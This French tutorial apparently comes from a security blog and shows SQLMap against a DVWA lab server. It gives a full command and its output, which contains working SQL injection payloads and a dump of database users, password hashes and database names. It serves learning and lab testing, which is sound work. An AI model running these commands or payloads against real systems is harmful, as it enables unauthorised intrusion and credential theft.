Rappel :
Attention dans cet article l’outils est utilisé pour la recherche et l’apprentissage.
Ce type d’outils ne doit pas être utilisé vers un serveur qui ne vous appartient pas, ceci peut être puni par la loi (voir les articles 323-XX).
Présentation de l’outils :
SQLMap est un outils qui permet d’automatiser les requêtes SQL afin de trouver et d’utiliser une mauvaise configuration d’un serveur Web.
Présentation du terrain de jeux :
Un poste attaquant avec SQLMap qui va scanner un serveur avec DVWA.
La syntaxe de la commande :
sqlmap _options_
options :
- u : URL
-- cookie : cookie ( s ) à fournir comme le PHPSESSID séparrés par des ;
- dbs : afficher les bases disponibles du SGBD
-- banner : affiche la bannoère de la SGBD
-- current - user : affiche l 'utilisateur courant de la DB
--current-db : affiche la DB courante
--passwords : affiche les hashs des mots de passe
--dbms : affiche les différentes DB disponibles
--users : affiche les utilisateurs du SGBD
-D _DBName_ : selectionne une DB
--tables : affiche les tables
--columns : affiche les colonnes de _DBName_
--count : afiiche le nombre d' enregistrement de chaque tables dans _DBName_
-- schema : affiche le schéma
-- dump : dump les tables de _DBName
-- dump - all : dump toutes les tables
Exemple :
# sqlmap -u "http://192.168.5.11/dvwa/vulnerabilities/sqli/?id=sdsd&Submit=Submit#" --cookie="PHPSESSID=b6bcad3d43f00c81ae3d248bf7f2d8f0; security=low" --dbs --banner --current-user --current-db --passwords --users
sqlmap / 1.0 - dev - automatic SQL injection and database takeover tool
http :/ / sqlmap . org
[ ! ] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal . It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:37:36
[21:37:36] [INFO] resuming back-end DBMS ' mysql '
[21:37:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: id=-2612' OR ( 1564 = 1564 ) #&Submit=Submit
Type : error - based
Title : MySQL >= 5.0 AND error - based - WHERE or HAVING clause
Payload : id = aa #' AND (SELECT 6272 FROM(SELECT COUNT(*),CONCAT(0x7179716d71,(SELECT (CASE WHEN (6272=6272) THEN 1 ELSE 0 END)),0x7169706771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ZIWW'='ZIWW&Submit=Submit
Type : UNION query
Title : MySQL UNION query ( NULL ) - 2 columns
Payload : id = aa #' UNION ALL SELECT CONCAT(0x7179716d71,0x6f655662555a66714277,0x7169706771),NULL#&Submit=Submit
Type : AND / OR time - based blind
Title : MySQL < 5.0 . 12 AND time - based blind ( heavy query )
Payload : id = aa #' AND 8670=BENCHMARK(5000000,MD5(0x424d415a)) AND 'ugRh'='ugRh&Submit=Submit
---
[ 21 : 37 : 36 ] [ INFO ] the back - end DBMS is MySQL
[ 21 : 37 : 36 ] [ INFO ] fetching banner
web server operating system: Linux Ubuntu 8.04 ( Hardy Heron )
web application technology: PHP 5.2 . 4 , Apache 2.2 . 8
back - end DBMS operating system: Linux Ubuntu
back - end DBMS : MySQL 5
banner: '5.0.51a-3ubuntu5'
[ 21 : 37 : 36 ] [ INFO ] fetching current user
current user: 'root@%'
[ 21 : 37 : 36 ] [ INFO ] fetching current database
current database: 'dvwa'
[ 21 : 37 : 36 ] [ INFO ] fetching database users
database management system users [ 3 ]:
[ * ] 'debian-sys-maint' @ ''
[ * ] 'guest' @ '%'
[ * ] 'root' @ '%'
[ 21 : 37 : 36 ] [ INFO ] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [ y / N ] y
[ 21 : 37 : 38 ] [ INFO ] writing hashes to a temporary file '/tmp/sqlmaphashes-iVnwDp.txt'
do you want to perform a dictionary - based attack against retrieved password hashes? [ Y / n / q ] y
[ 21 : 37 : 39 ] [ WARNING ] unknown hash format . Please report by e - mail to sqlmap - users @lists . sourceforge . net
[ 21 : 37 : 39 ] [ WARNING ] no clear password ( s ) found
database management system users password hashes:
[ * ] debian - sys - maint [ 1 ]:
password hash: NULL
[ * ] guest [ 1 ]:
password hash: NULL
[ * ] root [ 1 ]:
password hash: NULL
[ 21 : 37 : 39 ] [ INFO ] fetching database names
available databases [ 7 ]:
[ * ] dvwa
[ * ] information_schema
[ * ] metasploit
[ * ] mysql
[ * ] owasp10
[ * ] tikiwiki
[ * ] tikiwiki195
[ 21 : 37 : 39 ] [ INFO ] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.5.11'
[ * ] shutting down at 21 : 37 : 39
On lui fournit l’URL ou l’on peut tester le SQLi et le cookie PHPSESSID, il faut avoir fait une connection avec un bon login/password avant.
Mot de la fin :
Il faut avouer que ce n’est pas vraiment transparent côté serveur Web on arrive un peu en faisant toc-toc à la porte !
Surtout s’il y a un IDS,IPS ou WAF.